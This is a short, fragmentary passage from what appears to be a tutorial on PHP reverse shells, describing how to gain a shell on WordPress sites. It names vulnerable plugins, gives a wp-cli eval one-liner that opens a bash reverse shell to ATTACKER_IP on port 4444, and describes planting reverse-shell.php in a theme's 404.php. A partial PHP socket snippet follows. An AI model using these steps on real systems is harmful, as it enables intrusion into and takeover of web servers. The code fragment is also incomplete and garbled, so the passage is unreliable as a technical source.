The Mechanics and Ethics of PHP Reverse Shells PHP reverse shell
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Method 4: Using Wordpress/Plugin Vulnerabilities
- Exploit vulnerable plugins (e.g.,
wp-file-manager,duplicator). - Use
wp-cliif credentials are obtained: `wp eval 'exec("/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1""); - Upload
reverse-shell.phpvia theme editor (Appearance → Editor →404.php).
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// Create a socket $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($sock === false) $error = socket_last_error(); echo "socket_create() failed: $error\n";Once connected, interact with the shell. You should now see a shell prompt on your attacker machine.